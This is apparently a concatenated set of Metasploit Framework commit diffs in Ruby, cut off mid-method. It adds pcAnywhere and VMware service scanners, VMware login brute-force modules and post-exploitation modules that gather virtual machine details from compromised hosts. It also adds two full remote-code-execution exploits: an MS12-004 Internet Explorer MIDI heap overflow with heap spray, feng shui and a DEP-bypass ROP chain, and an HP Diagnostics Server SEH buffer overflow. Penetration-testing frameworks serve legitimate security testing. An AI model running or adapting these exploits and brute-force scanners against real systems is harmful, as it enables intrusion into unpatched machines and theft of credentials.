def report_hashes(hash_loot, is_11g, ip, service)
#reports the hashes slightly differently depending on the version
@ -140,20 +117,7 @@ class Metasploit3 < Msf::Auxiliary
end
end
def report_other_data(oracle_schema,ip)
unless oracle_schema.nil?
report_note(
:host => ip,
:type => "oracle.schema",
:data => oracle_schema,
:port => datastore['RPORT'],
:proto => 'tcp',
:update => :unique_data
)
end
end
end

View File

@ -0,0 +1,66 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'pcAnywhere TCP Service Discovery',
'Version' => '$Revision$',
'Description' => 'Discover active pcAnywhere services through TCP',
'Author' => 'hdm',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(5631)
], self.class)
end
def run_host(ip)
begin
connect
sock.put("\x00\x00\x00\x00")
res = sock.get_once(-1, 15)
if not (res and res.index("Please press <Enter>"))
disconnect
return
end
=begin
sock.put( "\x6f\x06\xfe" )
res = sock.get_once(-1, 15)
sock.put("\x6f\x61\xff\x09\x00\x07\x00\x00\x01\xff\x00\x00\x07\x00")
res = sock.get_once(-1, 15)
sock.put("\x6f\x62\x00\x02\x00\x00\x00")
res = sock.get_once(-1, 15)
print_status(Rex::Text.to_hex_dump(res))
=end
report_service(:host => rhost, :port => rport, :name => "pcanywhere", :info => "")
print_status("#{rhost}:#{rport} pcAnywhere")
rescue ::Rex::ConnectionError, ::EOFError
rescue ::Exception => e
print_error("#{rhost}:#{rport} Error: #{e.class} #{e} #{e.backtrace}")
end
end
end

View File

@ -0,0 +1,174 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'pcAnywhere UDP Service Discovery',
'Version' => '$Revision$',
'Description' => 'Discover active pcAnywhere services through UDP',
'Author' => 'hdm',
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://www.unixwiz.net/tools/pcascan.txt']
]
)
register_options(
[
Opt::CHOST,
OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]),
Opt::RPORT(5632)
], self.class)
end
# Define our batch size
def run_batch_size
datastore['BATCHSIZE'].to_i
end
def rport
datastore['RPORT'].to_i
end
# Fingerprint a single host
def run_batch(batch)
print_status("Sending pcAnywhere discovery requests to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
@results = {}
begin
udp_sock = nil
idx = 0
# Create an unbound UDP socket if no CHOST is specified, otherwise
# create a UDP socket bound to CHOST (in order to avail of pivoting)
udp_sock = Rex::Socket::Udp.create( { 'LocalHost' => datastore['CHOST'] || nil, 'Context' => {'Msf' => framework, 'MsfExploit' => self} })
add_socket(udp_sock)
batch.each do |ip|
begin
# Send network query
udp_sock.sendto("NQ", ip, rport, 0)
# Send status query
udp_sock.sendto("ST", ip, rport, 0)
rescue ::Interrupt
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
nil
end
if (idx % 30 == 0)
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
parse_reply(r)
end
end
idx += 1
end
while (r = udp_sock.recvfrom(65535, 3) and r[1])
parse_reply(r)
end
rescue ::Interrupt
raise $!
rescue ::Errno::ENOBUFS
print_status("Socket buffers are full, waiting for them to flush...")
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
parse_reply(r)
end
select(nil, nil, nil, 0.25)
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e} #{e.backtrace}")
end
@results.keys.each do |ip|
next unless inside_workspace_boundary?(ip)
data = @results[ip]
info = ""
if data[:name]
info << "Name: #{data[:name]} "
end
if data[:stat]
info << "- #{data[:stat]} "
end
if data[:caps]
info << "( #{data[:caps]} ) "
end
report_service(:host => ip, :port => rport, :proto => 'udp', :name => "pcanywhere", :info => info)
report_note(:host => ip, :port => rport, :proto => 'udp', :name => "pcanywhere", :update => :unique, :ntype => "pcanywhere.status", :data => data )
print_status("#{ip}:#{rport} #{info}")
end
end
def parse_reply(pkt)
# Ignore "empty" packets
return if not pkt[1]
addr = pkt[1]
if(addr =~ /^::ffff:/)
addr = addr.sub(/^::ffff:/, '')
end
data = pkt[0]
case data
when /^NR(........................)(........)/
name = $1.dup
caps = $2.dup
name = gsub(/_+$/, '').gsub("\x00", '').strip
caps = gsub(/_+$/, '').gsub("\x00", '').strip
@results[addr] ||= {}
@results[addr][:name] = name
@results[addr][:caps] = caps
when /^ST(.+)/
@results[addr] ||= {}
buff = $1.dup
stat = 'Unknown'
if buff[2,1].unpack("C")[0] == 67
stat = "Available"
end
if buff[2,1].unpack("C")[0] == 11
stat = "Busy"
end
@results[addr][:stat] = stat
else
print_error("#{addr} Unknown: #{data.inspect}")
end
end
end

View File

@ -27,7 +27,7 @@ class Metasploit3 < Msf::Auxiliary
This module extracts the usernames and encrypted password
hashes from a Postgres server and stores them for later cracking.
},
'Author' => ['TheLightCosine <thelightcosine[at]gmail.com>'],
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
'License' => MSF_LICENSE
)
register_options([

View File

@ -105,11 +105,6 @@ class Metasploit3 < Msf::Auxiliary
end
begin
# Samba has two interesting behaviors:
# 1) Invalid users receive a guest login
# 2) Valid users return a STATUS_LOGON_FAILURE
unless(smb_peer_os == 'Unix')
# Print the guest login message only for non-Samba
guest = true
@accepts_guest_logins['rhost'] ||=[] unless @accepts_guest_logins.include?(rhost)
report_note(
@ -121,7 +116,6 @@ class Metasploit3 < Msf::Auxiliary
:data => 'accepts guest login from any account',
:update => :unique_data
)
end
end unless(simple.client.auth_user)
disconnect()
@ -255,17 +249,12 @@ class Metasploit3 < Msf::Auxiliary
end
if(simple.client.auth_user)
print_status("Auth-User: #{simple.client.auth_user.inspect}")
print_good("#{smbhost} - SUCCESSFUL LOGIN (#{smb_peer_os}) '#{splitname(user)}' : '#{pass}'")
else
# Samba has two interesting behaviors:
# 1) Invalid users receive a guest login
# 2) Valid users return a STATUS_LOGON_FAILURE
unless(smb_peer_os == 'Unix')
# Print the guest login message only for non-Samba
print_status("#{rhost} - GUEST LOGIN (#{smb_peer_os}) #{splitname(user)} : #{pass}")
@accepts_guest_logins[rhost] = [user, pass] unless datastore['RECORD_GUEST']
end
end
disconnect()
# If we get here then we've found the password for this user, move on

View File

@ -0,0 +1,133 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core/exploit/tcp'
class Metasploit3 < Msf::Auxiliary
include Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
@@cached_rsa_key = nil
def initialize
super(
'Name' => 'VMWare Authentication Daemon Login Scanner',
'Version' => '$Revision$',
'Description' => %q{
This module will test vmauthd logins on a range of machines and
report successful logins.
},
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
'References' =>
[
[ 'CVE', '1999-0502'] # Weak password
],
'License' => MSF_LICENSE
)
register_options([Opt::RPORT(902)])
end
def run_host(ip)
begin
connect
rescue
print_error "Could not connect to #{ip}:#{datastore['RPORT']}"
return
end
banner = sock.get_once.chomp
print_status "Banner: #{banner}"
unless banner.include? "VMware Authentication Daemon"
print_error "This does not appear to be a vmauthd service"
return
end
if banner.include? "SSL"
print_status("Switching to SSL connection...")
swap_sock_plain_to_ssl
end
each_user_pass do |user, pass|
result = do_login(user, pass)
case result
when :failed
print_error("#{ip}:#{datastore['RPORT']} vmauthd login FAILED - #{user}:#{pass}")
when :success
print_good("#{ip}:#{datastore['RPORT']} vmauthd login SUCCESS - #{user}:#{pass}")
report_auth_info(
:host => rhost,
:port => rport,
:sname => 'vmauthd',
:user => user,
:pass => pass,
:source_type => "user_supplied",
:active => true
)
return if datastore['STOP_ON_SUCCESS']
else
print_error("#{ip}:#{datastore['RPORT']} #{res}")
end
end
end
def do_login(user, pass, nsock=self.sock)
nsock.put("USER #{user}\r\n")
res = nsock.get_once
unless res.start_with? "331"
ret_msg = "received unexpected reply to the USER command: #{res}"
return ret_msg
end
nsock.put("PASS #{pass}\r\n")
res = nsock.get_once
if res.start_with? "530"
return :failed
elsif res.start_with? "230"
return :success
else
ret_msg = "received unexpected reply to the PASS command: #{res}"
return ret_msg
end
end
def swap_sock_plain_to_ssl(nsock=self.sock)
ctx = generate_ssl_context()
ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx)
ssl.connect
nsock.extend(Rex::Socket::SslTcp)
nsock.sslsock = ssl
nsock.sslctx = ctx
end
def generate_ssl_context
ctx = OpenSSL::SSL::SSLContext.new(:SSLv3)
@@cached_rsa_key ||= OpenSSL::PKey::RSA.new(1024){ }
ctx.key = @@cached_rsa_key
ctx.session_id_context = Rex::Text.rand_text(16)
return ctx
end
end

View File

@ -0,0 +1,93 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex/proto/ntlm/message'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'VMWare Web Login Scanner',
'Version' => '$Revision$',
'Description' => 'This module attempts to authenticate to the VMWare HTTP service
for VmWare Server, ESX, and ESXI',
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
'References' =>
[
[ 'CVE', '1999-0502'] # Weak password
],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(443)
], self.class)
end
def run_host(ip)
each_user_pass { |user, pass|
result = do_login(user, pass)
case result
when :success
print_good "#{ip}:#{rport} - Successful Login! (#{user}:#{pass})"
report_auth_info(
:host => rhost,
:port => rport,
:user => user,
:pass => pass,
:source_type => "user_supplied",
:active => true
)
return if datastore['STOP_ON_SUCCESS']
when :fail
print_error "#{ip}:#{rport} - Login Failure (#{user}:#{pass})"
end
}
end
def do_login(user, pass)
soap_data = '<SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<Login xmlns="urn:vim25">
<_this type="SessionManager">ha-sessionmgr</_this>
<userName>' + user + '</userName>
<password>' + pass + '</password>
</Login>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>'
res = send_request_cgi({
'uri' => '/sdk',
'method' => 'POST',
'agent' => 'VMware VI Client',
'data' => soap_data
}, 25)
if res.code == 200
return :success
else
return :fail
end
end
end

View File

@ -0,0 +1,469 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "MS12-004 midiOutPlayNextPolyEvent Heap Overflow",
'Description' => %q{
This module exploits a heap overflow vulnerability in the Windows Multimedia
Library (winmm.dll). The vulnerability occurs when parsing specially crafted
MIDI files. Remote code execution can be achieved by using Windows Media Player's
ActiveX control.
Exploitation is done by supplying a specially crafted MIDI file with
specific events, causing the offset calculation being higher than how much is
available on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing
us to either "inc al" or "dec al" a byte. This can be used to corrupt an array
(CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects,
which leverages remote code execution under the context of the user.
At this time, for IE 8 target, JRE (Java Runtime Environment) is required
to bypass DEP (Data Execution Prevention).
Note: Based on our testing, the vulnerability does not seem to trigger when
the victim machine is operated via rdesktop.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Shane Garrett', #Initial discovery (IBM X-Force)
'juan vazquez',
'sinn3r',
],
'References' =>
[
[ 'MSB', 'MS12-004'],
[ 'CVE', '2012-0003' ],
[ 'OSVDB', '78210'],
[ 'BID', '51292'],
[ 'URL', 'http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php' ],
],
'Payload' =>
{
'Space' => 1024,
},
'DefaultOptions' =>
{
'EXITFUNC' => "process",
'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[
'IE 6 on Windows XP SP3',
{
'Rop' => false,
'DispatchDst' => 0x0c0c0c0c
}
],
[
'IE 7 on Windows XP SP3',
{
'Rop' => false,
'DispatchDst' => 0x0c0c0c0c
}
],
[
'IE 8 on Windows XP SP3',
{
# xchg ecx,esp
# or byte ptr [eax],al
# add byte ptr [edi+5Eh],bl
# ret 8
# From IMAGEHLP
'Rop' => true,
'StackPivot' => 0x76C9B4C2,
'DispatchDst' => 0x0c0c1be4
}
],
],
'Privileged' => false,
'DisclosureDate' => "Jan 10 2012",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end
def get_target(request)
agent = request.headers['User-Agent']
vprint_status("Request from: #{agent}")
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
#Windows XP SP3 + IE 6.0
return targets[1]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
#Windows XP SP3 + IE 7.0
return targets[2]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
#Windows XP SP3 + IE 8.0 + JRE6
return targets[3]
else
return nil
end
end
def get_midi
# MIDI Fileformat Reference:
# http://www.sonicspot.com/guide/midifiles.html
#
# Event Types:
# 0x08 = Note Off (when MIDI key is released)
# 0x09 = Note On (when MIDI key is pressed)
# 0x0A = Note aftertouch (pressure change on the pressed MIDI key)
# 0x0B = Controller Event (MIDI channels state)
# 0x0C = Program change (Which instrument/patch should be played on the MIDI channel)
# 0x0D = Channel aftertouch (similar to Note Aftertouch; effects all keys pressed on the specific MIDI channel)
# 0x0E = Pitch Bend (similiar to a controller event; has 2 bytes to describe its value)
# 0x0F = Meta Events (not sent or received over a midi port)
# Structure:
# [Header Chunk][Track Chunk][Meta Event][Meta Event][SYSEX Event][Midi Channel Event)
# Track Chunk Data
tc = "\x00\xFF\x03\x0D\x44\x72\x75\x6D"
# Meta Event - Sequence/Track Name
tc << "\x73\x20\x20\x20\x28\x42\x42\x29\x00"
# Midi Channel Event - Program Change
tc << "\x00\xC9\x28"
# Midi Channel Event - Controller
tc << "\x00\xB9\x07\x64"
# Midi Channel Event - Controller
tc << "\x00\xB9\x0A\x40"
# Midi Channel Event - Controller
tc << "\x00\xB9\x7B\x00"
# Midi Channel Event - Controller
tc << "\x00\xB9\x5B\x28"
# Midi Channel Event - Controller
tc << "\x00\xB9\x5D\x00"
# Midi Channel Event - Note On
tc << "\x85\x50\x99\x23\x7F"
# Corruption events
# Midi Channel Event - Note On
tc << "\x00\x9F\xb2\x73"
# Ends Corruption events
# Meta Event - End Of Track
tc << "\x00\xFF\x2F\x00"
m = ''
# HEADERCHUNK Header
m << "MThd" # Header
m << "\x00\x00\x00\x06" # Chunk size
m << "\x00\x00" # Format Type
m << "\x00\x01" # Number of tracks
m << "\x00\x60" # Time division
# TRACKCHUNK header
m << "MTrk" # Header
m << [tc.length].pack('N')
m << tc
midi_name = "test_case.mid"
return midi_name, m
end
def on_request_uri(cli, request)
if request.uri =~ /\.mid$/i
print_status("Sending midi file to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, @midi, {'Content-Type'=>'application/octet-strem'})
return
end
#Set default target
my_target = target
#If user chooses automatic target, we choose one based on user agent
if my_target.name =~ /Automatic/
my_target = get_target(request)
if my_target.nil?
send_not_found(cli)
print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")
return
end
vprint_status("Target selected: #{my_target.name}")
end
midi_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
midi_uri << "/#{@m_name}"
spray = build_spray(my_target)
if datastore['OBFUSCATE']
spray = ::Rex::Exploitation::JSObfu.new(spray)
spray.obfuscate
end
trigger = build_trigger(my_target)
trigger_fn = "trigger"
if datastore['OBFUSCATE']
trigger = ::Rex::Exploitation::JSObfu.new(trigger)
trigger.obfuscate
trigger_fn = find_trigger_fn(trigger.to_s)
end
html = %Q|
<html>
<head>
<script language='javascript'>
#{spray}
</script>
<script language='javascript'>
#{trigger}
</script>
<script for=audio event=PlayStateChange(oldState,newState)>
if (oldState == 3 && newState == 0) {
#{trigger_fn}();
}
</script>
</head>
<body>
<object ID="audio" WIDTH=1 HEIGHT=1 CLASSID="CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95">
<param name="fileName" value="#{midi_uri}">
<param name="SendPlayStateChangeEvents" value="true">
<param NAME="AutoStart" value="True">
<param name="uiMode" value="mini">
<param name="Volume" value="-300">
</object>
</body>
</html>
|
html = html.gsub(/^\t\t/, '')
print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
def exploit
@m_name, @midi = get_midi
super
end
def build_spray(my_target)
# Extract string based on target
if my_target.name == 'IE 8 on Windows XP SP3'
js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);"
else
js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
end
# Build shellcode based on Rop requirement
if my_target['Rop']
code = create_rop_chain(my_target)
code << payload.encoded
shellcode = Rex::Text.to_unescape(code)
else
code = payload.encoded
shellcode = Rex::Text.to_unescape(code)
end
# 1. Create big block of nops
# 2. Compose one block which is nops + shellcode
# 3. Repeat the block
# 4. Extract string from the big block
# 5. Spray
spray = <<-JS
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("#{shellcode}");
var nops = unescape("%u0c0c%u0c0c");
while (nops.length < 0x1000) nops+= nops;
var shellcode = nops.substring(0,0x800 - code.length) + code;
while (shellcode.length < 0x40000) shellcode += shellcode;
#{js_extract_str}
heap_obj.gc();
for (var i=0; i < 600; i++) {
heap_obj.alloc(block);
}
JS
spray = heaplib(spray, {:noobfu => true})
return spray
end
# Build the JavaScript string for the attributes
def build_element(element_name, my_target)
dst = Rex::Text.to_unescape([my_target['DispatchDst']].pack("V"))
element = ''
if my_target.name =~ /IE 8/
max = 63 # Number of attributes for IE 8
index = 1 # Where we want to confuse the type
else
max = 55 # Number of attributes for before IE 8
index = 0 # Where we want to confuse the type
end
element << "var #{element_name} = document.createElement(\"select\")" + "\n"
# Build attributes
0.upto(max) do |i|
obj = (i==index) ? "unescape(\"#{dst}\")" : "alert"
element << "#{element_name}.w#{i.to_s} = #{obj}" + "\n"
end
return element
end
# Feng Shui and triggering Steps:
# 1. Run the garbage collector before allocations
# 2. Defragment the heap and alloc CImplAry objects in one step (objects size are IE version dependent)
# 3. Make holes
# 4. Let windows media play the crafted midi file and corrupt the heap
# 5. Force the using of the confused tagVARIANT.
def build_trigger(my_target)
if my_target.name == 'IE 8 on Windows XP SP3'
# Redoing the feng shui if fails makes it reliable
js_trigger = <<-JSTRIGGER
function trigger(){
var k = 999;
while (k > 0) {
if (typeof(clones[k].w1) == "string") {
} else {
clones[k].w1('come on!');
}
k = k - 2;
}
feng_shui();
document.audio.Play();
}
JSTRIGGER
select_element = build_element('selob', my_target)
else
js_trigger = <<-JSTRIGGER
function trigger(){
var k = 999;
while (k > 0) {
if (typeof(clones[k].w0) == "string") {
} else {
clones[k].w0('come on!');
}
k = k - 2;
}
feng_shui();
document.audio.Play();
}
JSTRIGGER
select_element = build_element('selob', my_target)
end
trigger = <<-JS
var heap = new heapLib.ie();
#{select_element}
var clones=new Array(1000);
function feng_shui() {
heap.gc();
var i = 0;
while (i < 1000) {
clones[i] = selob.cloneNode(true)
i = i + 1;
}
var j = 0;
while (j < 1000) {
delete clones[j];
CollectGarbage();
j = j + 2;
}
}
feng_shui();
#{js_trigger}
JS
trigger = heaplib(trigger, {:noobfu => true})
return trigger
end
def find_trigger_fn(trigger)
fns = trigger.scan(/function ([a-zA-Z0-9_]+)\(\)/)
if fns.nil? or fns.empty?
return "trigger"
else
return fns.last.first
end
return "trigger"
end
def junk(n=1)
tmp = []
value = rand_text(4).unpack("L")[0].to_i
n.times { tmp << value }
return tmp
end
# ROP chain copied from ms11_050_mshtml_cobjectelement.rb (generated by mona)
# Added a little of roping to adjust the stack pivoting for this case
# Specific for IE8 XP SP3 case at this time
def create_rop_chain(my_target)
rop_gadgets =
[
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
my_target['StackPivot'], # stackpivot
junk, # padding
0x7c376402, # POP EBP # RETN [msvcr71.dll]
0x7c376402, # skip 4 bytes [msvcr71.dll]
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
0xfffff800, # Value to negate, will become 0x00000201 (dwSize)
0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
0x7c354901, # POP EBX # RETN [msvcr71.dll]
0xffffffff,
0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
0x7c344f87, # POP EDX # RETN [msvcr71.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
0x7c34d201, # POP ECX # RETN [msvcr71.dll]
0x7c38b001, # &Writable location [msvcr71.dll]
0x7c34b8d7, # POP EDI # RETN [msvcr71.dll]
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
0x7c364802, # POP ESI # RETN [msvcr71.dll]
0x7c3415a2, # JMP [EAX] [msvcr71.dll]
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
0x7c345c30, # ptr to 'push esp # ret ' [msvcr71.dll]
].flatten.pack('V*')
return rop_gadgets
end
end

View File

@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote
#Default target
my_target = target
print_status("User-Agent: #{request.headers['User-Agent']}") if datastore['VERBOSE']
vprint_status("User-Agent: #{request.headers['User-Agent']}")
if target.name == 'Automatic'
agent = request.headers['User-Agent']
@ -126,12 +126,12 @@ class Metasploit3 < Msf::Exploit::Remote
#Pick the right target
my_target = get_target(cli, request)
if my_target.nil?
print_error("Target not supported") if datastore['VERBOSE']
vprint_error("Target not supported")
send_not_found(cli)
return
end
print_status("URL: #{request.uri.to_s}") if datastore['VERBOSE']
vprint_status("URL: #{request.uri.to_s}")
#Send the trigger file upon request
if request.uri.match(/\.amv/)

View File

@ -0,0 +1,74 @@
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'HP Diagnostics Server magentservice.exe overflow',
'Description' => %q{
This module exploits a stack buffer overflow in HP Diagnostics Server
magentservice.exe service. By sending a specially crafted packet, an attacker
may be able to execute arbitrary code. Originally found and posted by
AbdulAziz Harir via ZDI.
},
'Author' =>
[
'AbdulAziz Hariri', # Original discovery
'hal', # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '72815'],
['CVE', '2011-4789'],
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-016/']
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
'SSL' => true,
'SSLVersion' => 'SSL3'
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'StackAdjustment' => -3500
},
'Platform' => 'win',
'DefaultTarget' => 0,
'Targets' =>
[
[
'Diagnostics Server 9.10',
{
# pop esi # pop ebx # ret 10
# magentservice.exe
'Ret' => 0x780c8f1f
}
]
],
'DisclosureDate' => 'Jan 12 2012'))
register_options([Opt::RPORT(23472)], self.class)
end
def exploit
req = "\x00\x00\x00\x00"
req << rand_text_alpha_upper(1092)
req << generate_seh_payload(target.ret)
connect
sock.put(req)
handler
disconnect
end
end

View File

@ -30,7 +30,7 @@ module Metasploit3
'Name' => 'OSX Execute Command',
'Version' => '$Revision$',
'Description' => 'Execute an arbitrary command',
'Author' => 'snagg <snagg[at]openssl.it>',
'Author' => [ 'snagg <snagg[at]openssl.it>', 'argp <argp[at]census-labs.com>' ],
'License' => BSD_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X86))
@ -47,12 +47,14 @@ module Metasploit3
#
def generate
cmd = datastore['CMD'] || ''
len = cmd.length + 1
payload =
"\x31\xc0\x50" +
Rex::Arch::X86.call(cmd.length + 1) + cmd +
"\x00\x5e\x89\xe7\xb9\x1e\x00" +
Rex::Arch::X86.call(len) + cmd +
"\x00\x5e\x89\xe7\xb9" + Rex::Arch::X86.pack_word(len) +
"\x00\x00\xfc\xf2\xa4\x89\xe3\x50" +
"\x50\x53\xb0\x3b\x50\xcd\x80"
end
end

View File

@ -29,7 +29,7 @@ class Metasploit3 < Msf::Post
'Description' => %q{
This module attempts to determine whether the system is running
inside of a virtual environment and if so, which one. This
module supports detectoin of Hyper-V, VMWare, VirtualBox, Xen,
module supports detection of Hyper-V, VMWare, VirtualBox, Xen,
and QEMU/KVM.},
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
@ -164,12 +164,11 @@ class Metasploit3 < Msf::Post
if vm
print_good("This appears to be a #{vm} Virtual Machine")
report_vm(vm)
else
print_status("This appears to be a Physical Machine")
end
end
end

View File

@ -0,0 +1,64 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/file'
require 'yaml'
class Metasploit3 < Msf::Post
include Msf::Post::File
def initialize(info={})
super( update_info(info,
'Name' => 'Multi Gather VirtualBox VM Enumeration',
'Description' => %q{
This module will attempt to enumerate any VirtualBox VMs on the target machine.
Due to the nature of VirtualBox, this module can only enumerate VMs registered
for the current user. So this module needs to be invoked form a user context.
},
'License' => MSF_LICENSE,
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
'Version' => '$Revision$',
'Platform' => ['unix', 'bsd', 'linux', 'osx', 'windows'],
'SessionTypes' => ['shell', 'meterpreter' ]
))
end
def run
if session.platform =~ /win/
res = session.shell_command_token_win32('"c:\Program Files\Oracle\VirtualBox\vboxmanage" list -l vms')
if res.include? "The system cannot find the path specified"
print_error "VirtualBox does not appear to be installed on this machine"
return nil
elsif res == "\n"
print_status "VirtualBox is installed but this user has no VMs registered. Try another user."
return nil
end
elsif session.platform =~ /unix|linux|bsd|osx/
res = session.shell_command('vboxmanage list -l vms')
unless res.start_with? "Sun VirtualBox"
print_error "VirtualBox does not appear to be installed on this machine"
return nil
end
unless res.include? "Name:"
print_status "VirtualBox is installed but this user has no VMs registered. Try another user."
return nil
end
end
print_good res
store_loot('virtualbox_vms', "text/plain", session, res, "virtualbox_vms.txt", "Virtualbox Virtual Machines")
end
end

View File

@ -0,0 +1,138 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/file'
require 'yaml'
class Metasploit3 < Msf::Post
include Msf::Post::File
def initialize(info={})
super( update_info(info,
'Name' => 'Multi Gather VMWare VM Identification',
'Description' => %q{
This module will attempt to find any VMWare virtual machines stored on the target.
},
'License' => MSF_LICENSE,
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
'Version' => '$Revision$',
'Platform' => ['unix', 'bsd', 'linux', 'osx', 'windows'],
'SessionTypes' => ['shell', 'meterpreter' ]
))
end
def run
if session_has_search_ext
vms = meterp_search
elsif session.platform =~ /unix|linux|bsd|osx/
vms = nix_shell_search
end
report_vms(vms) if vms
end
def report_vms(vms)
output = "VMWare Virtual Machines\n"
output << "--------------------------------\n"
vms.each do |vm|
next if vm.empty?
output << "Name: #{vm['name']}\n"
output << "Virtual CPUs: #{vm['cpus']}\n"
output << "Memory: #{vm['memsize']}\n"
output << "Operating System: #{vm['os']}\n"
output << "Network Type: #{vm['eth_type']}\n"
output << "MAC Address: #{vm['mac']}\n"
output << "Shared Folders:\n"
vm['SharedFolders'].each do |folder|
output << "\tHost Location: #{folder}\n"
end
output << "\n"
end
print_good output
store_loot('vmware_vms', "text/plain", session, output, "vmware_vms.txt", "VMWare Virtual Machines")
end
def nix_shell_search
vms = []
res = session.shell_command('find / -name "*.vmx" -type f -print 2>/dev/null')
res.each_line do |filename|
next unless filename.start_with? '/'
begin
parse = session.shell_command("cat #{filename}")
vms << parse_vmx(parse,filename)
rescue
print_error "Could not read #{filename} properly"
end
end
return vms
end
def meterp_search
vms = []
